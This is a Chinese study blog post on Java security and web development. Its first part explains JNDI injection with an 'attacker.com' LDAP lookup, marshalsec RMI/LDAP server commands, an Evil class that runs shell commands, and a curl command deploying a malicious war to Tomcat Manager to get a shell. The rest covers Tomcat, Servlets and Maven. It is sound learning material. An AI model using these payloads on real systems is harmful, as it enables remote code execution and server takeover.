    import javax.naming.InitialContext;
    import java.rmi.registry.LocateRegistry;
    
    public class JndiServer {
       public static void  initIdentity() throws  Exception{
           LocateRegistry.createRegistry(6666);
           System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
           System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
    
    
           InitialContext ctx = new InitialContext();
    
           Identity a= new Identity();
           a.setId(0);
           a.setAge(20);
           a.setName("byc_404");
    
           ctx.bind("person",a);
           ctx.close();
       }
    
        public static void getIdentity() throws Exception{
            InitialContext ctx = new InitialContext();
    
            Identity person = (Identity) ctx.lookup("person");
    
            System.out.println(person.toString());
            ctx.close();
        }
    
        public static void main(String[] args) throws Exception{
            initIdentity();
            getIdentity();
        }
    }
    

    注意我们需要先行设置jndi工厂的url及端口等等属性。


    • traits of jndi

    jndi存在安全管理器.对于加载远程对象,JDNI有两种不同的安全控制方式,对于Naming Manager来说,相对的安全管理器的规则比较宽泛,但是对JNDI SPI层会按照下面表格中的规则进行控制:

    可以看到ldap对应的安全措施并非强制的。这点非常有意思。进而延伸到我们下面的一个特点

    jndi在初始化时,一定要像demo中那样配置上下文环境。

    Properties env = new Properties();
    env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
    Context ctx = new InitialContext(env);
    
    
    
    LocateRegistry.createRegistry(6666);
    System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
    InitialContext ctx = new InitialContext();
    

    上面两种方式都可以指定上下文。但是当我们使用lookup()寻找对象时,我们可以用其他格式的协议来转换上下文环境访问对象。具体可以跟到InitialContext类的getURLOrDefaultInitCtx

    protected Context getURLOrDefaultInitCtx(String name)
            throws NamingException {
            if (NamingManager.hasInitialContextFactoryBuilder()) {
                return getDefaultInitCtx();
            }
            String scheme = getURLScheme(name);
            if (scheme != null) {
                Context ctx = NamingManager.getURLContext(scheme, myProps);
                if (ctx != null) {
                    return ctx;
                }
            }
            return getDefaultInitCtx();
        }
    

    可以看到如果协议不为空,会重新获取url中指定的环境。
    所以可以传递ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");这样的url来进行lookup.(幸好之前做htb好好学了下ldap......).这就是jndi的动态协议转换特性。

    • jndi injection

    终于到我们攻击的重头戏jndi注入了。不过在正式开始前我们还需要了解下Reference类的使用

    Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等

    几个比较关键的属性:

    1.className:远程加载时所使用的类名
    2.classFactory:加载的class中需要实例化类的名称
    3.classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议

    所以我们开始jndi注入时,就可以使用到Reference类的功能了。jndi中对象的传递可以使用序列化也可以使用引用。那么假如我们能将恶意的Reference类绑定在RMI注册表中,并试其引用指向恶意class.就能达成命令执行。(前提:当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时)

    复现的话因为我本地java版本的问题导致不能用基础的jndi注入payload打。不过之前我复现过fastjson的洞。用的就是rmi的服务

    方法,对应jdk1.8以下的,直接用rmi做

    JndiClient

    import javax.naming.Context;
    import javax.naming.InitialContext;
    
    public class JndiClient {
        public static void main(String[] args) throws Exception{
            String uri = "rmi://127.0.0.1:1099/aa";//可控
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        }
    }
    

    用marshalsec起一个rmi服务
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#Evil

    准备的Evil.java javac Evil.java编译好.并起一个python web服务监听在对应的端口

    public class Evil {
        public Evil() throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch","/tmp/a"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }
    }
    

    不过我因为版本问题所以都失败了。可以看到其抛出的com.sun.jndi.rmi.object.trustURLCodebase错误。


    这也就是为什么上面提到说ldap。LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

    我们换用ldap的命令试试

    CLIENT.java

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.swing.*;
    
    public class CLIENT {
    
        public static void main(String[] args) throws Exception {
            String uri = "ldap://127.0.0.1:1389/aa";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        }
    }
    

    marshalsec起ldap服务。evil.class准备弹shell


    成功执行命令。可以看到ldap的版本使用范围确实比rmi更广。

    这里还有一个绕过高版本的jndi注入。属于进阶技巧了。暂时先留个坑。等遇到再填。

    develop

    上面基本上是把java的一些比较基础的漏洞或多或少复现并分析了一遍。感觉接触起来还是挺有意思的。不过按照之前的计划,现在要把java_web的知识更深入了解下。方便自己以后更熟悉文件结构或者相应的方法,同时也是为了开发做进一步考虑。至于java一些常见漏洞如jackson,fastjson以及其他一些框架如struts的漏洞等等方向的深入就留到后面其他文章里记录了。

    tomcat

    web资源想要被远程计算机访问,都需要一个与之进行网络通信的程序。web服务器就是这样的程序。对java而言,支持全部JSP以及Servlet规范的tomcat服务器是最好的选择。tomcat的下载安装就不多赘述了。按照教程走就好。

    这里对tomcat的一些细节进行叙述

    • $CATALINA_HOME

    tomcat的根目录。我们也可以通过配置$CATALINA_BASE,为多个tomcat实例的个体设定对应的属性。

    • path

    /bin
    存放用于启动及关闭的文件,以及其他一些脚本。其中,UNIX 系统专用的 *.sh 文件在功能上等同于 Windows 系统专用的 *.bat 文件

    /conf
    配置文件及相关的 DTD。其中最重要的文件是 server.xml,这是容器的主配置文件
    当然其他一些文件也很重要。个人遇到过的还有catalina.policy,tomcat-users.xml,web.xml这几个重要配置文件。

    /log
    日志文件的默认目录。

    /webapps
    存放 Web 应用的相关文件。

    • 应用部署

    在 Tomcat 服务器上,可以通过多种方法部署 Web 应用:1.静态部署2.动态部署

    静态部署我们应该很熟悉。就是常规的开发流程。在启动之前就写好web应用。但是动态部署可能就接触的相对较少。但其实就是使用tomcatmanager直接操作管理web应用。

    关于tomcat manager要等到专门讲manager时再仔细理解。

    • 上下文

    上下文在 Tomcat 中其实就是 Web 应用的意思。
    为了在 Tomcat 中配置上下文,需要用到上下文描述符文件。在tomcat中其实就是xml文件。
    上下文描述符文件位于:
    1.$CATALINA_BASE/conf/[enginename]/[hostname]/[webappname].xml
    2.$CATALINA_BASE/webapps/[webappname]/META-INF/context.xml
    在目录 1 中的文件名为 [webappname].xml,但在目录 2 中,文件名为 context.xml。如果某个 Web 应用没有相应的上下文描述符文件,Tomcat 就会使用默认值配置该应用。

    • Tomcat Manager

    很多生产环境都非常需要以下特性:在无需关闭或重启整个容器的情况下,部署新的 Web 应用或者取消对现有应用的部署。或者,即便在 Tomcat 服务器配置文件中没有指定 reloadable 的情况下,也可以请求重新加载现有应用。

    Tomcat 中的 Web 应用 Manager 就是来解决这些问题的,它默认安装在上下文路径:/manager 中

    Tomcat 以默认值运行是非常危险的,因为这能让互联网上的任何人都可以在你的服务器上执行 Manager 应用。因此,Manager 应用要求任何用户在使用前必须验证自己的身份,提供自己的用户名和密码,以及相应配置的 manager-** 角色(角色名称根据所需的功能而定)。另外,默认用户文件($CATALINA_BASE/conf/tomcat-users.xml)中的用户名称都没有指定角色名称,所以默认是不能访问 Manager 应用的。

    这些角色名称位于 Manager 应用的 web.xml 文件中。可用的角色包括:

    manager-gui 能够访问 HTML 界面。
    manager-status 只能访问“服务器状态”(Server Status)页面。
    manager-script 能够访问文档中描述的适用于工具的纯文本界面,以及"服务器状态"页面。
    manager-jmx 能够访问 JMX 代理界面以及“服务器状态”(Server Status)页面。

    为了能够访问 Manager 应用,必须创建一个新的用户名/密码组合,并为之授予一种 manager-** 角色,或者把一种 manager-** 角色授予现有的用户名/密码组合

    比较危险的情况就如之前曾经做过几次的java题中出现的tomcat弱密码部署war或者tomcat密码泄露,命令行部署war的情况一样。

    注意一点,tomcat支持通过请求url进行命令执行。
    http://{host}:{port}/manager/text/{command}?{parameters}

    比如我做过的htb某靶机中,用户密码泄露了。但是用户是admin-gui,manager-script权限,我们没法通过账户密码登录manager/html手动部署war.但是却可以通过命令行来部署war getshell.

    curl --user 'tomcat:xxxx' --upload-file exp.war "http://xxxx:8080/manager/text/deploy=/exp.war"
    

    这样就可以通过访问web目录exp直接操作shell了。

    • 安全管理

    Java 的 SecurityManager 能让 Web 浏览器在它自身的沙盒中运行小型应用(applet),从而具有防止不可信代码访问本地文件系统的文件以及防止其连接到主机,而不是加载该应用的位置。
    SecurityManager 能防止不可信的小型应用在你的浏览器上运行,运行 Tomcat 时,使用 SecurityManager 也能保护服务器,使其免受木马型的 applet、JSP、JSP Bean 以及标签库的侵害,甚至也可以防止由于无意中的疏忽所造成的问题。

    关于适用于 Tomcat 的标准系统 SecurityManager 权限类.包括但不限于:
    1.java.lang.RuntimePermission——控制一些系统/运行时函数的使用,比如 exit() 和 exec()。 另外也控制包的访问/定义。
    2.java.io.FilePermission——控制对文件和目录的读/写/执行。
    3.java.security.AllPermission——允许访问任何权限,仿佛没有 SecurityManager。
    ......

    其对应的策略文件就是catalina.policy。

    Servlet

    Servlet算是javaweb比较特色的程序了。它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。从某种角度讲,他能跟php做到的功能近乎类似。Java 类库的全部功能对 Servlet 来说都是可用的。它可以通过 sockets 和 RMI 机制与 applets、数据库或其他软件进行交互。

    • Life Cycle

    Servlet的生命周期可被定义为从创建直到毁灭的整个过程。以下是 Servlet 遵循的过程:

    1.通过调用 init () 方法进行初始化。
    2.调用 service() 方法来处理客户端的请求。
    3.通过调用 destroy() 方法终止(结束)。
    最后,Servlet 是由 JVM 的垃圾回收器进行垃圾回收的。

    init()可理解为初始化,但不是构造方法。(java构造方法必须是跟类名同名的)一般进行简单的参数设定。

    service()用来处理客户端请求并将格式化的响应返回给客户端。我们通常并不需要对这个方法进行改善,而是重写其调用的doGet,doPost等方法。

    doGet(),doPost()格式均如下:

    public void [doGet or doPost](HttpServletRequest request,HttpServletResponse response)
        throws ServletException, IOException {
        // Servlet code
    }
    

    destroy() 方法只会被调用一次,在 Servlet 生命周期结束时被调用。destroy() 方法可以让您的 Servlet 关闭数据库连接、停止后台线程、把 Cookie 列表或点击计数器写入到磁盘,并执行其他类似的清理活动。
    在调用 destroy() 方法之后,servlet 对象被标记为垃圾回收

    • 部署

    这一部分应该算是web开发的基本流程了,因为以前只是审过源码,所以在实际使用idea进行项目创建以及内容编写上还是得重新来过。

    流程:idea创建javaEnterprise项目并选择Additional Library中的Web Application. => 在新建项目下的web/WEB-INF目录下新建lib,src,classes三个文件夹 => 更改项目结构:

    1.src 可以在Project Structure的modules中重新设置source.我们需要把Sources从原工程的src改为WEB-INF下的src.Sources 一般用于标注类似 src 这种可编译目录。有时候我们不单单项目的 src 目录要可编译,还有其他一些特别的目录也许我们也要作为可编译的目录,就需要对该目录进行此标注。只有 Sources 这种可编译目录才可以新建 Java 类和包。(此处工程自己创建的src没用了,所以我们直接改成web目录下的源文件夹)
    2.classes 用来存放编译后输出的class文件.我们同样在项目结构中Paths的配置里将Output path和Test output path都选择刚刚创建的classes文件夹。
    3.lib用于外部jar包。由于我们开发时必然会用到外部依赖,所以存放jar包的lib也需要在项目中设置。我们同样在modules中把lib添加为jar directory即可。

    然后是配置tomcat服务器,这个没啥好说的。不过还是要注意artifact设置根目录的要点。通常设置为/.

    Servlet编写的一个demo.我们首先要在之前更改过的src下新建一个class
    (虽然idea会自动换成.java)命名随意。不过最好是某某Servlet.

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;
    
    
    public class TestServlet extends HttpServlet{
    
        private String quote;
    
        public  TestServlet(){
            System.out.println("TestServlet constructor called.");
        }
        @Override
        public void init() throws ServletException {
            System.out.println("TestServlet init method called");
            quote="Thy will , not my will , be done.";
        }
    
        @Override
        public void destroy() {
            System.out.println("TestServlet destroy method called");
        }
    
    
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            resp.setContentType("json");
            PrintWriter out=resp.getWriter();
            out.println("{\"quote\":\""+quote+"\"}");
        }
    }
    

    这里顺手写了构造方法看看调用顺序。虽然我们都知道构造方法必然是最先调用的,其次是init(),然后是我们每次访问时调用的doGet,最后destroy销毁。

    然后我们build module。在WEB-INF下的classes中生成TestServlet.class.最后就是配置web.xml了。

    默认情况下,Servlet 应用程序位于路径 <Tomcat-installation-directory>/webapps/ROOT 下,且类文件放在 <Tomcat-installation-directory>/webapps/ROOT/WEB-INF/classes 中。
    如果有一个完全合格的类名称 com.myorg.MyServlet,那么这个 Servlet 类必须位于 WEB-INF/classes/com/myorg/MyServlet.class 中。位于 <Tomcat-installation-directory>/webapps/ROOT/WEB-INF/ 的 web.xml 文件中必须设置Servlet的相关条目。

    所以路径结构规定其实非常清晰。接下来我们只需要设置web.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
             version="4.0">
        <servlet>
            <servlet-name>test</servlet-name>
            <servlet-class>TestServlet</servlet-class>
        </servlet>
    
        <servlet-mapping>
            <servlet-name>test</servlet-name>
            <url-pattern>/Test</url-pattern>
        </servlet-mapping>
    </web-app>
    

    可设定对应的servlet-class并定义其servletname.同时可以定义这个servlet对应的url映射。


    剩下的部分就跟其他语言差不多了,使用get,post等处理参数,cookie及相应http请求。这里稍微记录下sql连接的使用方法。

    static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";  
    static final String DB_URL = "jdbc:mysql://localhost:3306/test";
        
    static final String USER = "root";
    static final String PASS = "123456"; 
    ...
    ...
    Class.forName("com.mysql.jdbc.Driver");
    conn = DriverManager.getConnection(DB_URL,USER,PASS);
    ...
    ...
    mt = conn.createStatement();
    String sql;
    sql = "SELECT id, name, url FROM websites";
    ResultSet rs = stmt.executeQuery(sql);
    ...
    ...
    rs.close();
    stmt.close();
    conn.close();
    

    maven

    之前使用ysoserial跟marshalsec时想必必然用过maven了。但是实际上maven的作用究竟是什么还是一头雾水。因此针对maven也来学习下。

    • what is maven
      Maven 翻译为"专家"、"内行",是 Apache 下的一个纯 Java 开发的开源项目。基于项目对象模型(缩写:POM)概念,Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。

    Maven 是一个项目管理工具,可以对 Java 项目进行构建、依赖管理。

    环境配置只要jdk+下载maven即可。当然我记得IDEA应该是有maven的功能的。

    • POM

    POM 即 project object model.是一个xml文件,同时也是maven工程的基本单元。包含了项目的基本信息,用于描述项目如何构建,声明项目依赖,等等。

    一个pom.xml的demo

    <project xmlns = "http://maven.apache.org/POM/4.0.0"
        xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation = "http://maven.apache.org/POM/4.0.0
        http://maven.apache.org/xsd/maven-4.0.0.xsd">
     
        <!-- 模型版本 -->
        <modelVersion>4.0.0</modelVersion>
        <!-- 公司或者组织的唯一标志,并且配置时生成的路径也是由此生成, 如com.companyname.project-group,maven会将该项目打成的jar包放本地路径:/com/companyname/project-group -->
        <groupId>com.companyname.project-group</groupId>
     
        <!-- 项目的唯一ID,一个groupId下面可能多个项目,就是靠artifactId来区分的 -->
        <artifactId>project</artifactId>
     
        <!-- 版本号 -->
        <version>1.0</version>
    </project>
    

    常见的节点理解

    • Super POM

    父(Super)POM是 Maven 默认的 POM。所有的 POM 都继承自一个父 POM(无论是否显式定义了这个父 POM)。父 POM 包含了一些可以被继承的默认设置。因此,当 Maven 发现需要下载 POM 中的 依赖时,它会到 Super POM 中配置的默认仓库 http://repo1.maven.org/maven2 去下载。

    更多pom标签的含义在遇到实际情况再作说明。

    • Life Cycle

    Maven 构建生命周期定义了一个项目构建跟发布的过程.其主要的三个生命周期是clean,default/build,site.

    常用命令如mvn clean执行的其实是两个生命周期阶段pre-clean,clean.换成mvn post-clean则会都执行一遍即三个阶段。

    pre-clean:执行一些需要在clean之前完成的工作
    clean:移除所有上一次构建生成的文件
    post-clean:执行一些需要在clean之后立刻完成的工作
    

    我们可以通过控制pom.xml来决定mvn clean时每个阶段的动作。

    • maven repos

    maven仓库是项目中依赖的第三方库。其主要是存储jar的地方。因此我们可以构建本地的maven项目。当然也可以有远程与默认的仓库。

    比如使用aliyun仓库。我们可以在maven的setting中更改setting.xml添加节点。

    <mirrors>
        <mirror>
          <id>alimaven</id>
          <name>aliyun maven</name>
          <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
          <mirrorOf>central</mirrorOf>        
        </mirror>
    </mirrors>
    

    pom.xml中添加

    <repositories>  
            <repository>  
                <id>alimaven</id>  
                <name>aliyun maven</name>  
                <url>http://maven.aliyun.com/nexus/content/groups/public/</url>  
                <releases>  
                    <enabled>true</enabled>  
                </releases>  
                <snapshots>  
                    <enabled>false</enabled>  
                </snapshots>  
            </repository>  
    </repositories>
    

    这个可能算是比较重要的一点了。因为大部分idea自带的maven或者是默认下载的maven配置中settings.xml都会去国外仓库获取资源,导致速度奇慢。

    • develop

    下面就可以开始正式maven项目的开发了。似乎idea直接创造maven project有一些坑要踩。所以我先按照菜鸟教程上的走。

    在开始之前,先确认把仓库的设置改好了。即选择了aliyun镜像.然后idea的配置中:


    然后用命令行构建一个项目。此处我命命为maven_learning

    mvn archetype:generate "-DgroupId=com.byc.test" "-DartifactId=mvn_learning" "-DarchetypeArtifactId=maven-archetype-quickstart" "-DinteractiveMode=false"
    

    之后在idea中导入这个工程即可。
    目录结构


    test跟java分别是java代码文件跟测试代码文件。都在包结构下。

    这里我们初始的pom.xml中主要是这样的内容

    <dependencies>
        <dependency>
          <groupId>junit</groupId>
          <artifactId>junit</artifactId>
          <version>3.8.1</version>
          <scope>test</scope>
        </dependency>
      </dependencies>
    

    说明Maven 已经添加了 JUnit 作为测试框架

    初始的App.java是一个Hello world的用例

    package com.byc.test;
    
    /**
     * Hello world!
     *
     */
    public class App 
    {
        public static void main( String[] args )
        {
            System.out.println( "Hello World!" );
        }
    }
    

    接下来我们需要build maven项目。使用clean package

    mvn clean package
    

    成功后。我们会发现生成了target文件夹。并且其中有我们项目构建的jar file。
    新增目录结构

    我们给了 maven 两个目标,首先清理目标目录(clean),然后打包项目构建的输出为 jar(package)文件。
    打包好的 jar 文件可以在target中获得
    测试报告存放在surefire-reports文件夹中
    Maven 编译源码文件,以及测试源码文件。
    接着 Maven 运行测试用例。
    最后 Maven 创建项目包。
    

    classes文件夹下使用java -cp . com.byc.test.App即可调用Hello world.

    这是一个简单的maven项目构建过程。如果要使用外部依赖进行web相关开发,只需依照目录结构进行补充即可。假如我们需要添加一个ldapjdk.jar作为依赖。还是老样子将其拖到工程的lib文件夹下,并在pom.xml中添加

    <dependencies>
        <!-- 在这里添加你的依赖 -->
        <dependency>
            <groupId>ldapjdk</groupId>  <!-- 库名称,也可以自定义 -->
            <artifactId>ldapjdk</artifactId>    <!--库名称,也可以自定义-->
            <version>1.0</version> <!--版本号-->
            <scope>system</scope> <!--作用域-->
            <systemPath>${basedir}\src\lib\ldapjdk.jar</systemPath> <!--项目根目录下的lib文件夹下-->
        </dependency> 
    </dependencies>
    

    这里一开始想用ideabuild maven项目时发现报错。查了下发现可能是自己jdk版本跟idea的不一致的原因。(为了burp使用jdk1.8,但最早学编程时用的jdk10)所以最好保证maven生成构建项目时的一致性

    相关文章

      网友评论

          本文标题:学习笔记-java相关

          本文链接:https://www.haomeiwen.com/subject/fuiscktx.html